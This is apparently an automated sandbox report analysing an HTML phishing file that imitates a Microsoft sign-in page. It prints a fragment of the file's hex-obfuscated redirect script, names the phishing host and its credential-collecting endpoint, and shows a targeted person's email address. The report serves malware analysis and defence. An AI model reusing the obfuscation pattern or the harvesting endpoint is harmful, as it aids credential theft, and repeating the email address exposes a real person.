Edit tour

Windows Analysis Report
DOC-Zcns1G_.html

Overview

General Information

Sample name:	DOC-Zcns1G_.html
Analysis ID:	1431977
MD5:	1e32618fcf29bd29fe194054d4d84ca0
SHA1:	dbee4324588daf5ccbe2a9b66e15c580ddfbe640
SHA256:	149ed57259e2ed5e5b2b20e84c4ff006ca08c964794df235a933554114a9b930
Infos:

Detection

HTMLPhisher

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Phishing site detected (based on favicon image match)

Yara detected HtmlPhish10

Yara detected HtmlPhish58

Detected javascript redirector / loader

HTML Script injector detected

HTML document with suspicious title

HTML file submission containing password form

HTML sample is only containing javascript code

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

Suspicious Javascript code found in HTML file

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden URLs or javascript code

HTML title does not match URL

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

None HTTPS page querying sensitive user data (password, username or email)

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 4020 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\DOC-Zcns1G_.html MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6196 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=2000,i,15560389139453955100,3711742634628694839,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
DOC-Zcns1G_.html	JoeSecurity_HtmlPhish_58	Yara detected HtmlPhish_58	Joe Security

HTML

Source	Rule	Description	Author	Strings
0.0.pages.csv	JoeSecurity_HtmlPhish_58	Yara detected HtmlPhish_58	Joe Security
0.0.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: DOC-Zcns1G_.html

Virustotal: Detection: 9%

Perma Link

Phishing

Phishing site detected (based on favicon image match)

Source: file://	Matcher: Template: microsoft matched with high similarity
Source: file:///C:/Users/user/Desktop/DOC-Zcns1G_.html#suzanna.simonovic@jjswaste.com.au	Matcher: Template: microsoft matched with high similarity

Yara detected HtmlPhish10

Source: Yara match

File source: 0.0.pages.csv, type: HTML

Yara detected HtmlPhish58

Source: Yara match	File source: DOC-Zcns1G_.html, type: SAMPLE
Source: Yara match	File source: 0.0.pages.csv, type: HTML

Detected javascript redirector / loader

Source: DOC-Zcns1G_.html

HTTP Parser: Low number of body elements: 0

HTML Script injector detected

Source: file:///C:/Users/user/Desktop/DOC-Zcns1G_.html#suzanna.simonovic@jjswaste.com.au

HTTP Parser: New script tag found

HTML document with suspicious title

Source: file:///C:/Users/user/Desktop/DOC-Zcns1G_.html#suzanna.simonovic@jjswaste.com.au

Tab title: Sign in to continue

HTML sample is only containing javascript code

Source: DOC-Zcns1G_.html

HTTP Parser: <script> let x = ['3C', '73', '63', '72', '69', '70', '74', '3E', 'A', '20', '20', '20', '20', '64', '6F', '63', '75', '6D', '65', '6E', '74', '2E', '6C', '6F', '63', '61', '74', '69', '6F', '6E', '2E', '68', '72', '65', '66', '3D', '22',...

Phishing site detected (based on image similarity)

Source: file:///C:/Users/user/Desktop/DOC-Zcns1G_.html#suzanna.simonovic@jjswaste.com.au

Matcher: Found strong image similarity, brand: MICROSOFT

Phishing site detected (based on logo match)

Source: file:///C:/Users/user/Desktop/DOC-Zcns1G_.html#suzanna.simonovic@jjswaste.com.au

Matcher: Template: microsoft matched

Suspicious Javascript code found in HTML file

Source: DOC-Zcns1G_.html

HTTP Parser: document.write

Source: file:///C:/Users/user/Desktop/DOC-Zcns1G_.html#suzanna.simonovic@jjswaste.com.au

HTTP Parser: Number of links: 0

Source: file:///C:/Users/user/Desktop/DOC-Zcns1G_.html#suzanna.simonovic@jjswaste.com.au

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: file:///C:/Users/user/Desktop/DOC-Zcns1G_.html#suzanna.simonovic@jjswaste.com.au

HTTP Parser: Base64 decoded: https://iia-p.org/lh/

Source: file:///C:/Users/user/Desktop/DOC-Zcns1G_.html#suzanna.simonovic@jjswaste.com.au

HTTP Parser: Title: Sign in to continue does not match URL

Source: file:///C:/Users/user/Desktop/DOC-Zcns1G_.html#suzanna.simonovic@jjswaste.com.au

HTTP Parser: Has password / email / username input fields

Source: file:///C:/Users/user/Desktop/DOC-Zcns1G_.html#suzanna.simonovic@jjswaste.com.au

HTTP Parser: <input type="password" .../> found

Source: file:///C:/Users/user/Desktop/DOC-Zcns1G_.html#suzanna.simonovic@jjswaste.com.au

HTTP Parser: No <meta name="author".. found

Source: file:///C:/Users/user/Desktop/DOC-Zcns1G_.html#suzanna.simonovic@jjswaste.com.au

HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 23.34.16.106:443 -> 192.168.2.16:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.34.16.106:443 -> 192.168.2.16:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.16:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.16:49725 version: TLS 1.2

Source: Joe Sandbox View	IP Address: 13.107.246.41 13.107.246.41
Source: Joe Sandbox View	IP Address: 13.107.246.41 13.107.246.41
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 13.107.213.41 13.107.213.41

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 23.39.228.248
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 23.34.16.106
Source: unknown	TCP traffic detected without corresponding DNS query: 23.34.16.106
Source: unknown	TCP traffic detected without corresponding DNS query: 23.34.16.106
Source: unknown	TCP traffic detected without corresponding DNS query: 23.34.16.106
Source: unknown	TCP traffic detected without corresponding DNS query: 23.34.16.106
Source: unknown	TCP traffic detected without corresponding DNS query: 23.34.16.106
Source: unknown	TCP traffic detected without corresponding DNS query: 23.34.16.106
Source: unknown	TCP traffic detected without corresponding DNS query: 23.34.16.106
Source: unknown	TCP traffic detected without corresponding DNS query: 23.34.16.106
Source: unknown	TCP traffic detected without corresponding DNS query: 23.34.16.106
Source: unknown	TCP traffic detected without corresponding DNS query: 23.34.16.106
Source: unknown	TCP traffic detected without corresponding DNS query: 23.34.16.106
Source: unknown	TCP traffic detected without corresponding DNS query: 23.34.16.106
Source: unknown	TCP traffic detected without corresponding DNS query: 23.34.16.106
Source: unknown	TCP traffic detected without corresponding DNS query: 23.34.16.106
Source: unknown	TCP traffic detected without corresponding DNS query: 23.34.16.106
Source: unknown	TCP traffic detected without corresponding DNS query: 23.34.16.106
Source: unknown	TCP traffic detected without corresponding DNS query: 23.34.16.106
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108

Source: global traffic	HTTP traffic detected: GET /lh/o.js HTTP/1.1Host: iia-p.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1Host: logincdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: logincdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /16.000.28595.2/images/favicon.ico HTTP/1.1Host: logincdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1Host: logincdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: logincdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /16.000.28595.2/images/favicon.ico HTTP/1.1Host: logincdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /lh/brand.php HTTP/1.1Host: iia-p.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=4DtlfTdBg+VGuzl&MD=4p7fBm1P HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=4DtlfTdBg+VGuzl&MD=4p7fBm1P HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /lh/brand.php HTTP/1.1Host: iia-p.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /lh/brand.php HTTP/1.1Host: iia-p.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: iia-p.org
Source: global traffic	DNS traffic detected: DNS query: use.fontawesome.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: unknown

HTTP traffic detected: POST /lh/brand.php HTTP/1.1Host: iia-p.orgConnection: keep-aliveContent-Length: 49sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: */*Content-Type: application/x-www-form-urlencoded; charset=UTF-8sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: chromecache_73.2.dr	String found in binary or memory: https://fontawesome.com
Source: chromecache_73.2.dr	String found in binary or memory: https://fontawesome.com/license

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown	HTTPS traffic detected: 23.34.16.106:443 -> 192.168.2.16:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.34.16.106:443 -> 192.168.2.16:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.16:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.16:49725 version: TLS 1.2

Source: classification engine

Classification label: mal100.phis.winHTML@16/23@8/6

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: DOC-Zcns1G_.html

Virustotal: Detection: 9%

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\DOC-Zcns1G_.html
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=2000,i,15560389139453955100,3711742634628694839,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=2000,i,15560389139453955100,3711742634628694839,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Stealing of Sensitive Information

HTML file submission containing password form

Source: file:///C:/Users/user/Desktop/DOC-Zcns1G_.html#suzanna.simonovic@jjswaste.com.au

HTTP Parser: file:///C:/Users/user/Desktop/DOC-Zcns1G_.html#suzanna.simonovic@jjswaste.com.au

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
DOC-Zcns1G_.html	10%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
part-0013.t-0009.t-msedge.net	0%	Virustotal		Browse
iia-p.org	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
https://iia-p.org/lh/o.js	0%	Avira URL Cloud	safe
file:///C:/Users/user/Desktop/DOC-Zcns1G_.html#suzanna.simonovic@jjswaste.com.au	0%	Avira URL Cloud	safe
https://iia-p.org/lh/brand.php	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
part-0013.t-0009.t-msedge.net	13.107.213.41	true	false	0%, Virustotal, Browse	unknown
www.google.com	192.178.50.68	true	false		high
iia-p.org	192.232.216.145	true	false	1%, Virustotal, Browse	unknown
use.fontawesome.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
file:///C:/Users/user/Desktop/DOC-Zcns1G_.html#suzanna.simonovic@jjswaste.com.au	true	Avira URL Cloud: safe	low
https://iia-p.org/lh/o.js	false	Avira URL Cloud: safe	unknown
https://iia-p.org/lh/brand.php	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://fontawesome.com	chromecache_73.2.dr	false		high
https://fontawesome.com/license	chromecache_73.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.41	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
192.178.50.68	www.google.com	United States	15169	GOOGLEUS	false
192.232.216.145	iia-p.org	United States	46606	UNIFIEDLAYER-AS-1US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
13.107.213.41	part-0013.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1431977
Start date and time:	2024-04-26 06:28:23 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	DOC-Zcns1G_.html
